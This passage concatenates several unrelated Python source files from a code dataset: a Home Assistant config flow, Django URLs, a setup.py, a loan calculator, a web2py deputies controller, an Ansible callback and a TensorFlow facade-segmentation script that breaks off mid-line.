typer.Exit()\n\n\ndef format_number_display(input, exa=0, dec=4):\n if isinstance(input, str) and input[:2] == \"0x\":\n input = Decimal(int(input, 16) / 10 ** exa)\n elif isinstance(input, int) or isinstance(input, float):\n input = Decimal(input) / 10 ** exa\n if input % 1 == 0:\n output = \"{:,.{}f}\".format(input, 0)\n else:\n output = \"{:,.{}f}\".format(input, dec).rstrip(\"0\")\n return output\n\n\ndef from_loop(value):\n icx = value / 10 ** 18\n return icx\n\n\ndef hex_to_int(input, exa=None):\n if not exa:\n result = int(input, 16)\n else:\n result = int(input, 16) / 10 ** exa\n return result\n\n\ndef log(message):\n load_dotenv()\n if os.getenv(\"ENV\") == \"DEBUG\":\n log_level = \"DEBUG\"\n else:\n log_level = \"INFO\"\n\n logging.basicConfig(\n level=log_level, format=\"%(message)s\", datefmt=\"[%X]\", handlers=[RichHandler()]\n )\n \n log = logging.getLogger(\"rich\")\n\n if log_level == \"DEBUG\":\n log.debug(message)\n\n\ndef print_json(input):\n print(json.dumps(input, indent=4))\n\n\ndef print_object(object):\n print(\"\\n\")\n inspect(object)\n print(\"\\n\")\n\n\ndef print_table(table):\n console = Console()\n print(\"\\n\")\n console.print(table)\n print(\"\\n\")\n\n\ndef print_tx_hash(transaction_result: dict):\n print(f\"Transaction Hash: {transaction_result['txHash']}\")\n\n\ndef to_loop(value):\n loop = int(value * 10 ** 18)\n return loop\n","sub_path":"icon_cli/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"339067261","text":"import logging\nfrom collections import OrderedDict\nfrom typing import Any, Dict, Mapping, Optional\n\nimport voluptuous as vol\nfrom homeassistant import config_entries\nfrom homeassistant.config_entries import ConfigEntry, OptionsFlow\nfrom homeassistant.const import CONF_PASSWORD, CONF_SCAN_INTERVAL, CONF_USERNAME\nfrom homeassistant.core import callback\nfrom homeassistant.helpers import config_validation as cv\nfrom homeassistant.helpers.typing import ConfigType\n\nfrom custom_components.moscow_pgu import DEVICE_INFO_SCHEMA, DOMAIN, lazy_load_platforms_base_class\nfrom custom_components.moscow_pgu.api import API, AuthenticationException, MoscowPGUException\nfrom custom_components.moscow_pgu.const import CONF_DEVICE_INFO, CONF_FILTER, CONF_GUID\nfrom custom_components.moscow_pgu.util import (\n async_authenticate_api_object,\n async_save_session,\n extract_config,\n generate_guid,\n)\n\n\n@config_entries.HANDLERS.register(DOMAIN)\nclass MoscowPGUConfigFlow(config_entries.ConfigFlow):\n VERSION = 1\n CONNECTION_CLASS = config_entries.CONN_CLASS_CLOUD_POLL\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self._user_schema: Optional[vol.Schema] = None\n self._entities_schema: Optional[vol.Schema] = None\n self._save_config: Optional[Dict[str, Any]] = None\n self._save_options: Optional[Dict[str, Any]] = None\n\n async def _check_entry_exists(self, username: str):\n current_entries = self._async_current_entries()\n\n for config_entry in current_entries:\n if config_entry.data.get(CONF_USERNAME) == username:\n return True\n\n return False\n\n async def async_step_user(self, user_input: Optional[Dict[str, Any]] = None) -> Dict[str, Any]:\n if self._user_schema is None:\n self._user_schema = vol.Schema(\n {\n vol.Required(CONF_USERNAME): cv.string,\n vol.Required(CONF_PASSWORD): cv.string,\n vol.Optional(CONF_DEVICE_INFO, default=False): cv.boolean,\n }\n )\n\n if user_input is None:\n return self.async_show_form(step_id=\"user\", data_schema=self._user_schema)\n\n username = user_input[CONF_USERNAME]\n if await self._check_entry_exists(username):\n return self.async_abort(reason=\"already_exists\")\n\n device_info_show = user_input.pop(CONF_DEVICE_INFO)\n self._save_config = {**user_input}\n\n if device_info_show:\n return await self.async_step_device_info()\n\n errors = await self._async_test_config()\n if errors:\n return self.async_show_form(\n step_id=\"user\", data_schema=self._user_schema, errors=errors\n )\n\n return await self.async_step_entities()\n\n async def async_step_device_info(\n self, user_input: Optional[Dict[str, Any]] = None\n ) -> Dict[str, Any]:\n if user_input is None:\n return self.async_show_form(step_id=\"device_info\", data_schema=DEVICE_INFO_SCHEMA)\n\n if not user_input.get(CONF_GUID):\n user_input[CONF_GUID] = generate_guid(self._save_config)\n\n self._save_config[CONF_DEVICE_INFO] = user_input\n\n errors = await self._async_test_config()\n if errors:\n return self.async_show_form(\n step_id=\"device_info\", data_schema=DEVICE_INFO_SCHEMA, errors=errors\n )\n\n return await self.async_step_entities()\n\n async def async_step_entities(\n self,\n user_input: Optional[Dict[str, Any]] = None,\n ) -> Dict[str, Any]:\n if self._entities_schema is None:\n platforms = lazy_load_platforms_base_class()\n self._entities_schema = vol.Schema(\n {\n vol.Optional(cls.CONFIG_KEY, default=True): cv.boolean\n for base_cls in platforms.values()\n for cls in base_cls.__subclasses__()\n }\n )\n\n if user_input is None:\n return self.async_show_form(\n step_id=\"entities\",\n data_schema=self._entities_schema,\n )\n\n self._save_config[CONF_FILTER] = {\n key: ([] if value is False else [\"*\"]) for key, value in user_input.items()\n }\n\n errors = await self._async_test_config()\n if errors:\n return self.async_show_form(\n step_id=\"user\", data_schema=self._entities_schema, errors=errors\n )\n\n return await self._async_save_config()\n\n async def async_step_import(\n self, user_input: Optional[Dict[str, Any]] = None\n ) -> Dict[str, Any]:\n if user_input is None:\n return self.async_abort(reason=\"empty_config\")\n\n self._save_config = user_input\n\n return await self._async_save_config()\n\n def _create_api_object(self) -> API:\n arguments = {**self._save_config}\n\n if CONF_DEVICE_INFO in arguments:\n device_info = arguments.pop(CONF_DEVICE_INFO)\n arguments.update(device_info)\n\n arguments.pop(CONF_FILTER, None)\n\n return API(**arguments)\n\n async def _async_test_config(self) -> Optional[Dict[str, str]]:\n try:\n async with self._create_api_object() as api:\n await async_authenticate_api_object(self.hass, api)\n\n except AuthenticationException:\n return {\"base\": \"invalid_credentials\"}\n\n except MoscowPGUException:\n return {\"base\": \"api_error\"}\n\n else:\n await async_save_session(self.hass, api.username, api.session_id)\n\n async def _async_save_config(self):\n username = self._save_config[CONF_USERNAME]\n\n if await self._check_entry_exists(username):\n return self.async_abort(reason=\"already_exists\")\n\n return self.async_create_entry(title=username, data=self._save_config)\n\n @staticmethod\n @callback\n def async_get_options_flow(config_entry: ConfigEntry) -> OptionsFlow:\n return MoscowPGUOptionsFlow(config_entry)\n\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass MoscowPGUOptionsFlow(OptionsFlow):\n def __init__(self, config_entry: ConfigEntry):\n self.config_entry = config_entry\n self._filter_statuses: Optional[Mapping[str, bool]] = None\n\n async def async_step_init(self, user_input: Optional[ConfigType] = None) -> Dict[str, Any]:\n config_entry = self.config_entry\n if config_entry.source == config_entries.SOURCE_IMPORT:\n return self.async_abort(reason=\"yaml_not_supported\")\n\n filter_statuses = self._filter_statuses\n if filter_statuses is None:\n platforms = lazy_load_platforms_base_class()\n filter_statuses = {\n entity_cls.CONFIG_KEY: entity_cls.SINGULAR_FILTER\n for platform_key, platform_cls in platforms.items()\n for entity_cls in platform_cls.__subclasses__()\n }\n self._filter_statuses = filter_statuses\n\n current_data = extract_config(self.hass, config_entry)\n\n errors = {}\n if user_input:\n filter_data = {}\n for key, is_singular in filter_statuses.items():\n if is_singular:\n entities = []\n else:\n entities = sorted(\n set(\n filter(\n bool,\n map(\n str.strip,\n user_input[key + \"_list\"].split(\",\"),\n ),\n )\n )\n )\n\n if \"*\" in entities:\n errors[key + \"_list\"] = \"asterisk_disallowed\"\n\n if user_input[key]:\n entities.append(\"*\")\n\n filter_data[key] = entities\n\n current_data[CONF_FILTER] = filter_data\n\n if not errors:\n save_data = dict(current_data)\n del save_data[CONF_SCAN_INTERVAL]\n\n return self.async_create_entry(title=\"\", data=save_data)\n\n else:\n filter_data = current_data[CONF_FILTER]\n\n schema_dict = OrderedDict()\n\n for config_key, is_singular in sorted(\n filter_statuses.items(), key=lambda x: (not x[1], x[0])\n ):\n list_data = list(filter_data.get(config_key, [\"*\"])) # default value for new entities\n blacklist = \"*\" in list_data\n if blacklist:\n list_data.remove(\"*\")\n\n schema_dict[vol.Optional(config_key, default=blacklist)] = cv.boolean\n if not is_singular:\n schema_dict[\n vol.Optional(config_key + \"_list\", default=\", \".join(list_data))\n ] = cv.string\n\n return self.async_show_form(\n step_id=\"init\", data_schema=vol.Schema(schema_dict), errors=errors or None\n )\n","sub_path":"custom_components/moscow_pgu/config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":9039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"560808268","text":"from django.conf.urls import include, url\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView\nfrom . import views\n\nurlpatterns = [\n\n # url(r'^accounts/', include('allauth.urls')),\n # url(r'^$', 'home.views.home', name='home'),\n url(r'^articles/$', views.articles, name='articles'),\n url(r'^like/$', views.like, name='like'),\n url(r'^comment/$', views.comment, name='comment'),\n url(r'^upload/$', views.upload_image, name='upload'),\n url(r'^add_image/$', views.add_image, name='add_image'),\n url(r'^change_image/(?P[^/]+)$', views.change_image, name='change_image'),\n url(r'^post/$', views.post, name='post'),\n url(r'^delete/$', views.delete, name='delete'),\n url(r'^delete_image/$', views.delete_node_image, name='delete_image'),\n url(r'^write/$', views.write, name='write'),\n\n url(r'^what_to_write/$', TemplateView.as_view(template_name='nodes/what_to_write.html'), name='what_to_write'),\n url(r'^help/$', TemplateView.as_view(template_name='nodes/help.html'), name='help'),\n url(r'^set_logo/$', views.set_logo, name='set_logo'),\n url(r'^set_profile_image/$', views.set_profile_image, name='set_profile_image'),\n url(r'^set_product_image/(?P[^/]+)/$', views.set_product_image, name='set_product_image'),\n url(r'^set_tag_logo/(?P[^/]+)/$', views.set_tag_logo, name='set_tag_logo'),\n url(r'^set_category_logo/(?P[^/]+)/$', views.set_category_logo, name='set_category_logo'),\n\n url(r'^edit/(?P[^/]+)/$', views.edit, name='edit'),\n url(r'^(?P[^/]+)/$', views.node, name='node'),\n\n]\n","sub_path":"nodes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"188464135","text":"from setuptools import setup, find_packages\ndesc = \"NetManager webservices\"\n\nsetup(\n name='netmanager-web',\n version=\"0.0.1\",\n author=\"Karsten Lang Pedersen\",\n author_email=\"karsten@cloudpartners.com\",\n description=desc,\n long_description=desc,\n long_description_content_type=\"text/markdown\",\n url=\"https://vestas.visualstudio.com/DefaultCollection/IT-50926%20Network%20Automation/_git/netmanager-web\",\n packages=find_packages(),\n # scripts=[\"netmanager-web-flask.py\"],\n classifiers=(\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ),\n include_package_data=True,\n zip__safe=False,\n install_requires=[\n 'Flask', 'flask-nav', 'flask_bootstrap', 'pytz', 'flask_wtf', 'wtforms_components', 'requests', 'retrying',\n 'wtforms_json'\n ],\n setup_requires=[\n\n ],\n tests_require=[\n\n ],\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"346059560","text":"import math\r\nimport sys\r\nargs = sys.argv\r\ntype = ''\r\ninterest = ''\r\nprincipal = ''\r\nperiods = ''\r\npayment = ''\r\n\r\n\r\ndef months_to_year(month):\r\n years = month // 12\r\n mines = month % 12\r\n if mines == 1 and years == 0:\r\n print(\"It will take 1 month to repay the loan\")\r\n elif years == 0 and mines >= 1:\r\n print(f'It will take {mines} months to repay the loan')\r\n elif years > 0 and mines == 0:\r\n print(f'\"It will take {years} years to repay the loan')\r\n else:\r\n print(f'\"It will take {years} years and {mines} months to repay the loan')\r\n\r\n\r\nfor o in range(1, len(args)):\r\n if \"type\" in args[o]:\r\n type = args[o]\r\n if \"principal\" in args[o]:\r\n principal = args[o]\r\n if 'periods' in args[o]:\r\n periods = args[o]\r\n if \"payment\" in args[o]:\r\n payment = args[o]\r\n if \"interest\" in args[o]:\r\n interest = args[o]\r\n\r\nif (type != \"--type=annuity\" and type != \"--type=diff\") or type == '' or interest == '' or len(args) < 5:\r\n print(\"Incorrect parameters.\")\r\n\r\nelif type == \"--type=diff\":\r\n if payment != \"\":\r\n print(\"Incorrect parameters.\")\r\n else:\r\n real_principal = int(principal[12:])\r\n real_periods = int(periods[10:])\r\n real_interest = float(interest[11:])\r\n if real_principal < 0 or real_periods <0 or real_interest <0:\r\n print(\"Incorrect parameters.\")\r\n else:\r\n i = real_interest / (12 * 100)\r\n extra = 0\r\n for month in range(1, real_periods + 1):\r\n payment1 = math.ceil((real_principal / real_periods) + i * (real_principal - ((real_principal * (month - 1 )) / real_periods)))\r\n print(f'Month {month}: payment is {payment1}')\r\n extra += payment1\r\n\r\n overpayment = extra - real_principal\r\n print(\"Overpayment = \", overpayment)\r\nelif type == \"--type=annuity\" and principal == '':\r\n real_periods = int(periods[10:])\r\n real_payment = int(payment[10:])\r\n real_interest = float(interest[11:])\r\n if real_periods <0 or real_payment < 0 or real_interest < 0:\r\n print(\"Incorrect parameters.\")\r\n else:\r\n i = real_interest / (12 * 100)\r\n loan = useful = (i * ((1 + i) ** real_periods)) / (((1 + i) ** real_periods) - 1)\r\n loan2 = (real_payment / useful)\r\n extra = real_payment * real_periods\r\n overpayment = extra - loan2\r\n print(f'Your loan principal = {math.floor(loan2)}!')\r\n print(f'Overpayment = {math.ceil(overpayment)}')\r\nelif type == \"--type=annuity\" and periods == '':\r\n real_principal = int(principal[12:])\r\n real_payment = int(payment[10:])\r\n real_interest = float(interest[11:])\r\n if real_principal <0 or real_payment < 0 or real_interest < 0:\r\n print(\"Incorrect parameters.\")\r\n else:\r\n i = real_interest / (12 * 100)\r\n n = math.log(real_payment / (real_payment - i * real_principal), 1 + i)\r\n months_to_year(math.ceil(n))\r\n extra = math.ceil(n) * real_payment\r\n overpayment = extra - real_principal\r\n print(f'Overpayment = {overpayment}')\r\nelif type == \"--type=annuity\" and payment == '':\r\n real_principal = int(principal[12:])\r\n real_periods = int(periods[10:])\r\n real_interest = int(interest[11:])\r\n if real_principal < 0 or real_periods < 0 or real_interest < 0:\r\n print(\"Incorrect parameters.\")\r\n else:\r\n i = real_interest / (12 * 100)\r\n real_payment = real_principal * (i * ((1 + i) ** real_periods)) / (((1 + i) ** real_periods) - 1)\r\n print(f'Your monthly payment = {math.ceil(real_payment)}')\r\n extra = math.ceil(real_payment) * real_periods\r\n overpayment = extra - real_principal\r\n print(f'Overpayment = {overpayment}')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#print(type, principal ,periods, payment, interest)\r\n\r\n#real_principal = int(principal[12:])\r\n#real_periods = int(periods[10:])\r\n#real_payment = int(payment[10:])\r\n#real_interest = int(interest[11:])\r\n#print(real_periods)","sub_path":"hellobanks.py","file_name":"hellobanks.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"631471754","text":"# -*- coding: utf-8 -*-\n# essayez quelque chose comme\nimport re\n\ndef index(): return dict(message=\"hello from pages.py\")\nmdb = client.obsass\n\n# cache\nCACHE_EXPIRE = 3600\ncache_groupes = cache.ram('groupes', lambda: [(g['groupe_abrev'],g['groupe_libelle']) for g in mdb.groupes.find()], time_expire=CACHE_EXPIRE)\ncache_regions = cache.ram('regions',lambda: sorted(mdb.deputes.distinct('depute_region'),key=lambda x:x), time_expire=CACHE_EXPIRE)\n# ---------------------------------\n# Page députés\n# ---------------------------------\n\ndef deputes():\n groupe = request.vars.get('gp','ALL')\n tri = request.vars.get('tr','depute_nom_tri')\n direction = int(request.vars.get('di',1))\n text = request.vars.get('txt',\"\")\n region = request.vars.get('rg',\"\")\n top = request.vars.get('top',\"\")\n\n groupes = cache_groupes\n regions = cache_regions\n tris = [('depute_nom_tri','Tri par nom'),\n ('stats.positions.exprimes','Tri par participation'),\n ('stats.positions.dissidence','Tri par dissidence'),\n ('stats.compat.FI','Tri par FI-Compatibilité'),\n ('stats.compat.REM','Tri par EM-Compatibilité'),\n ('stats.nbitvs',\"Tri par nombre d'interventions\"),\n ('stats.nbmots',\"Tri par nombre de mots\"),\n ('depute_circo_id',\"Tri par circonscription\")]\n tops = [('top10part','Top 10 Participation'),\n ('top10diss','Top 10 Dissidence'),\n ('top10compFI','Top 10 FI-Compatible'),\n ('top10compREM','Top 10 EM-Compatible'),\n ('top10itvs','Top 10 Interventions'),\n ('top10mots','Top 10 Mots'),\n ('flop10part','Flop 10 Participation'),\n ('flop10diss','Flop 10 Dissidence'),\n ('flop10compFI','Flop 10 FI-Compatible'),\n ('flop10compREM','Flop 10 EM-Compatible'),\n ('flop10itvs','Flop 10 Interventions'),\n ('flop10mots','Flop 10 Mots'),\n ]\n return locals()\n\ndef deputes_ajax():\n # ajouter des index (aux differentes collections)\n nb = 25\n minpart_top = 30\n page = int(request.args(0) or 2)-2\n groupe = request.vars.get('gp','ALL')\n tri = request.vars.get('tr','depute_nom_tri')\n direction = int(request.vars.get('di',1))\n text = request.vars.get('txt',None)\n region = request.vars.get('rg',None)\n top = request.vars.get('top',None)\n\n tops_sorts = {'part':'stats.positions.exprimes',\n 'diss':'stats.positions.dissidence',\n 'itvs':'stats.nbitvs',\n 'mots':'stats.nbmots',\n 'compFI':'stats.compat.FI',\n 'compREM':'stats.compat.REM'}\n\n filter = {'depute_actif':True}\n\n\n if text:\n regx = re.compile(text, re.IGNORECASE)\n filter['depute_nom'] = regx\n if groupe and groupe!='ALL':\n filter['groupe_abrev'] = groupe\n if region and region!='ALL':\n filter['depute_region'] = region\n\n if top:\n rtop = re.match(r'(top|flop)(\\d+)([a-z]{4})([A-Z]*)',top)\n if rtop:\n tf,n,typ,gp = rtop.groups()\n nb = int(n)\n page = 0\n direction = -1 if tf=='top' else 1\n tri = tops_sorts[typ+gp]\n filter = {'$and':[ {'stats.positions':{'$ne':None}},filter ]}\n if gp:\n filter['$and'].append({'groupe_abrev':{'$ne':gp}})\n skip = nb*page\n deputes = list(mdb.deputes.find(filter).sort([(tri,direction)]).skip(skip).limit(nb))\n\n return dict(deputes=deputes, tri = tri, skip = skip, next=((nb == len(deputes)) and not top ))\n","sub_path":"controllers/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"276291606","text":"def v2_runner_item_on_failed(self, result):\n if (self._last_task_banner != result._task._uuid):\n self._print_task_banner(result._task)\n delegated_vars = result._result.get('_ansible_delegated_vars', None)\n self._clean_results(result._result, result._task.action)\n self._handle_exception(result._result)\n msg = 'failed: '\n if delegated_vars:\n msg += ('[%s -> %s]' % (result._host.get_name(), delegated_vars['ansible_host']))\n else:\n msg += ('[%s]' % result._host.get_name())\n self._handle_warnings(result._result)\n self._display.display((msg + (' (item=%s) => %s' % (self._get_item_label(result._result), self._dump_results(result._result)))), color=C.COLOR_ERROR)","sub_path":"Data Set/bug-fixing-5/42346937b12476b3eddfad4b245ca21b072dca76--fix.py","file_name":"42346937b12476b3eddfad4b245ca21b072dca76--fix.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"70342130","text":"import io\nimport os\n\nfrom convolutional_autoencoder import Network\nimport tensorflow as tf\nimport convolutional_autoencoder\nfrom conv2d import Conv2d\nfrom max_pool_2d import MaxPool2d\nimport numpy as np\nimport cv2\nimport math\nimport matplotlib.pyplot as plt\nimport argparse\nimport clustering\nfrom clustering import Cluster\n\n\nclass Test:\n def __init__(self, folder=\"DLimgs\", resized_folder=\"streetview\", segmented_folder=\"segmented\"):\n print(\"##############################################################################\")\n self.dlImages = self.file_paths_to_DLimages(folder, os.listdir(os.path.join(folder)), resized_folder)\n\n self.label_color = self.inferDLimgs(resized_folder, os.listdir(os.path.join(resized_folder)), segmented_folder)\n\n # inputsフォルダとtargetsフォルダの中のイメージを読み込んでくる。def resize_imageを呼ぶ。\n def file_paths_to_DLimages(self, folder, imgs, resized_folder, verbose=False, ):\n inputs = []\n targets = []\n resized_train_input = []\n resized_train_target = []\n\n streetviews = []\n resized_streetviews = []\n i = 0\n\n for img in imgs:\n print(\"img:\", img)\n if (img[-4:] == '.jpg' or img[-5:] == '.jpeg'):\n # print(img[-4:], img[-4:])\n streetview = os.path.join(folder, img)\n # print(\"streetview\", streetview)\n\n streetview = np.array(cv2.imread(streetview, 1)) # load color 3channels>0, grayscale=0, image itself<0\n # print(\"streetview\", streetview)\n # Consider if above line needed\n streetviews.append(streetview)\n resized_streetview = self.resize_images(streetview, i, resized_folder)\n resized_streetview = np.multiply(resized_streetview, 1.0 / 255)\n resized_streetviews.append(resized_streetview)\n i = i + 1\n else:\n print(\"this is not an image file: \", img[-4:])\n\n # return resized_streetviews\n\n def resize_images(self, streetview, i, resized_folder):\n # Create 250*250 Size Image in new dir\n # used inside def file_paths_to_images\n # resized train input = rtinput\n\n # resizeする統一の大きさを決める(250*250)\n size = (Network.IMAGE_HEIGHT, Network.IMAGE_WIDTH)\n\n # もとの写真を正方形にcropする\n inh, inw, inc = streetview.shape\n # print(\"inh, inw, inc: \", inh, inw, inc)\n\n if (inh != inw):\n # print(\"image shape: inh == tah and inw == taw and inh != inw\")\n if (inh <= inw):\n streetview = streetview[0:inh, 0:inh]\n else:\n streetview = streetview[0:inw, 0:inw]\n resized_streetview = cv2.resize(streetview, size)\n\n cv2.imwrite(os.path.join(resized_folder, 'rsv' + str(i) + '.jpg'), streetview)\n\n else:\n print(\"image shape: cannot be reshaped or already is rectangle\")\n print(\"streetview: \", streetview)\n resized_streetview = streetview\n cv2.imwrite(os.path.join(resized_folder, 'rsv' + str(i) + '.jpg'), streetview)\n\n return streetview\n\n def inferDLimgs(self, resized_folder, rimgs, segmented_folder):\n\n tf.reset_default_graph()\n\n layers = []\n layers.append(Conv2d(kernel_size=7, strides=[1, 2, 2, 1], output_channels=64, name='conv_1_1'))\n layers.append(Conv2d(kernel_size=7, strides=[1, 1, 1, 1], output_channels=64, name='conv_1_2'))\n layers.append(MaxPool2d(kernel_size=2, name='max_1', skip_connection=True))\n\n layers.append(Conv2d(kernel_size=7, strides=[1, 2, 2, 1], output_channels=64, name='conv_2_1'))\n layers.append(Conv2d(kernel_size=7, strides=[1, 1, 1, 1], output_channels=64, name='conv_2_2'))\n layers.append(MaxPool2d(kernel_size=2, name='max_2', skip_connection=True))\n\n layers.append(Conv2d(kernel_size=7, strides=[1, 2, 2, 1], output_channels=64, name='conv_3_1'))\n layers.append(Conv2d(kernel_size=7, strides=[1, 1, 1, 1], output_channels=64, name='conv_3_2'))\n layers.append(MaxPool2d(kernel_size=2, name='max_3'))\n\n network = convolutional_autoencoder.Network(layers)\n\n no_label = []\n background = []\n facade = []\n window = []\n door = []\n cornice = []\n sill = []\n balcony = []\n blind = []\n deco = []\n molding = []\n pillar = []\n shop = []\n\n num = 0\n\n elementsNames = [\"no_label\", \"background\", \"facade\", \"window\", \"door\", \"cornice\", \"sill\", \"balcony\", \"blind\",\n \"deco\", \"molding\", \"pillar\", \"shop\"]\n label_color = [no_label, background, facade, window, door, cornice, sill, balcony, blind, deco, molding, pillar,\n shop]\n\n for r, rimg in enumerate(rimgs):\n print(\"##############################################################################\")\n print(\"infer:\", rimg)\n label_image, rgb_image = self.segmentationStreetview(rimg, network, resized_folder, segmented_folder)\n\n for label_clm, rgb_clm in zip(label_image, rgb_image):\n for label, rgb in zip(label_clm, rgb_clm):\n if (label == 'background'):\n background.append(rgb)\n elif (label == 'facade'):\n facade.append(rgb)\n elif (label == 'window'):\n window.append(rgb)\n elif (label == 'door'):\n door.append(rgb)\n elif (label == 'cornice'):\n cornice.append(rgb)\n elif (label == 'sill'):\n sill.append(rgb)\n elif (label == 'balcony'):\n balcony.append(rgb)\n elif (label == 'blind'):\n blind.append(rgb)\n elif (label == 'deco'):\n deco.append(rgb)\n elif (label == 'molding'):\n molding.append(rgb)\n elif (label == 'pillar'):\n pillar.append(rgb)\n elif (label == 'shop'):\n shop.append(rgb)\n elif (label == 'no_label'):\n no_label.append(rgb)\n\n # for ele in elementsNames:\n # maskingImage = rgb_image\n # for i,label_clm in enumerate(label_image):\n # for j,label in enumerate(label_clm):\n # if (label != ele):\n # maskingImage[i][j] = [255,255,255]\n # print('maskingImage:', maskingImage)\n # cv2.imwrite(os.path.join('segmented', 'by_element', str(r) + '_' + str(ele) + '.jpg'), maskingImage)\n\n num += 1\n\n return label_color\n\n def segmentationStreetview(self, streetviewName, network, resized_folder, segmented_folder):\n print(\"os.path.join(resized_folder, streetviewName:\", os.path.join(resized_folder, streetviewName))\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"model_dir\", nargs='?', default=\n \"C:/Users/yuriK/OneDrive/ドキュメント/#colour/code/Tensorflow-Segmentation-master/Tensorflow-Segmentation-master/save/C7,64,2C7,64,1M2C7,64,2C7,64,1M2C7,64,2C7,64,1M2/2018-08-09_035250\"\n \"\", type=str, help=\"Path to directory storing checkpointed model.\")# best performance2018-08-09_035250\n parser.add_argument(\"test_image\", nargs='?', default=os.path.join(resized_folder, streetviewName), type=str, help=\"Path to image for which the segmentation should be performed.\")\n parser.add_argument(\"--out\", default=\"/tmp\", type=str, help=\"Path to directory to store resulting image.\")#if not list, define nargs as ?\n print(parser)\n\n args = parser.parse_args()\n\n\n test_image = args.test_image\n checkpoint = args.model_dir\n\n with tf.Session() as sess:\n\n saver = tf.train.Saver(tf.global_variables())#initially tf.all_variables()\n ckpt = tf.train.get_checkpoint_state(checkpoint)\n if ckpt and ckpt.model_checkpoint_path:\n print('Restoring model: {}'.format(ckpt.model_checkpoint_path))\n saver.restore(sess, ckpt.model_checkpoint_path)\n else:\n raise IOError('No model found in {}.'.format(checkpoint))\n\n image = cv2.imread(test_image, 1) # load grayscale* changed to color scale because n>0 = 1\n\n\n # remain image color before segmentation as rgb_image (converted bgr to rgb)\n bgr_image = image\n rgb_image = bgr_image[:, :, [2, 1, 0]]\n\n\n #Resize input image\n # もとの写真を正方形にcropする\n inh, inw, inc = image.shape\n print(\"inh, inw, inc: \", inh, inw, inc)\n if (inh != inw):\n print(\"image shape: inh != inw\")\n if (inh <= inw):\n image = image[20:20+inh, 0:inh] #y1:y2, x1:x2\n else:\n image = image[20:20+inw, 0:inw]\n image = cv2.resize(image, (network.IMAGE_HEIGHT, network.IMAGE_WIDTH))\n cv2.imwrite(os.path.join('input_resized.jpg'), image)\n\n image = np.array(image)\n image = np.multiply(image, 1.0 / 255)\n\n segmentation = sess.run(network.segmentation_result, feed_dict={\n network.inputs: np.reshape(image, [1, network.IMAGE_HEIGHT, network.IMAGE_WIDTH, network.IMAGE_CHANNELS])})\n print(\"segmentation_len: \", len(segmentation))\n segNormalized = segmentation[0]\n segmented_image = np.dot(segmentation[0], 255)\n\n label_image = []\n\n # segmented_image = segmented_image[:, :, [2, 1, 0]]\n cv2.imwrite(os.path.join(segmented_folder, 'segmented_before_' + streetviewName[:-4] + '.jpg'), segmented_image)\n\n for x, clm in enumerate(segmented_image):\n label_image.append([])\n for y, pxl in enumerate(clm):\n # # assign method\n # for z, col in enumerate(pxl):\n # # print(pxl, \"pxl\")\n # if (0 <= col <= 63.75):\n # # z = 0\n # segmented_image[x][y][z] = 0\n # elif (63.75 < col <= 127.5):\n # # z = 85\n # segmented_image[x][y][z] = 85\n # elif (127.5 < col <= 191.25):\n # # z = 170\n # segmented_image[x][y][z] = 170\n # elif (191.25 < col <= 255):\n # # z = 255\n # segmented_image[x][y][z] = 255\n # else:\n # pass\n\n # distance method\n\n distances = []\n for z,label_value in enumerate(clustering.label_array):\n\n\n # dist = Cluster.euclidean_normal(pxl, x, y, z) # change this part for better segmentation labels\n\n #eucldean lowcost\n dist = Cluster.euclidean_lowcost(pxl, x, y, z) # change this part for better segmentation labels\n\n # #cie2000\n # lab0 = Cluster.rgb2lab(pxl)\n # lab1 = Cluster.rgb2lab(clustering.label_centroids[z])\n # print(\"pxl <----> clustering.label_centroids[z]: \", pxl, \"<--->\", clustering.label_centroids[z])\n # print(\"Lab0*: \", lab0, \"/ Lab1*: \", lab1)\n # dist = Cluster.cie2000(lab0, lab1)\n # print(\"dist: \", dist)\n\n distances.append(dist)\n # labelName = elementsNames.index(min(distances))\n # print(\"distances:\", distances)\n # print(\"min index in distances :\", distances.index(min(distances)))\n\n labelValue = clustering.label_array[distances.index(min(distances))]\n\n # print(\"labelValue: \", labelValue)\n segmented_image[x][y] = labelValue\n\n labels = []\n difference = []\n\n for k, v in clustering.label_dict.items():\n labels.append(k)\n diff = 1 / (1 + np.sqrt(np.square(abs(segmented_image[x][y][0]-v[0])) + np.square(abs(segmented_image[x][y][1]-v[1])) + np.square(abs(segmented_image[x][y][2]-v[2]))))\n #diff = abs(pxl[0]-v[0]) + abs(pxl[1]-v[1]) + abs(pxl[2]-v[2])\n difference.append(diff)\n difference = np.array(difference)\n # min = difference.argmin()\n max = difference.argmax()\n\n label_image[x].append(labels[max])\n segmented_image[x][y] = clustering.label_dict[labels[max]]\n\n # print(\"##############################################################################\")\n # print(label_image[0], \"label_max[0]\")\n # print(\"##############################################################################\")\n\n cv2.imwrite(os.path.join(segmented_folder, 'segmented_' + streetviewName[:-4] + '.jpg'), segmented_image)\n\n return label_image, rgb_image\n\n # segmented_image = cv2.COLOR_RGB2BGR(segmented_image)\n\nif __name__ == '__main__':\n\n print(\"##############################################################################\")\n\n\n\n # network = convolutional_autoencoder.Network(layers)\n\n test = 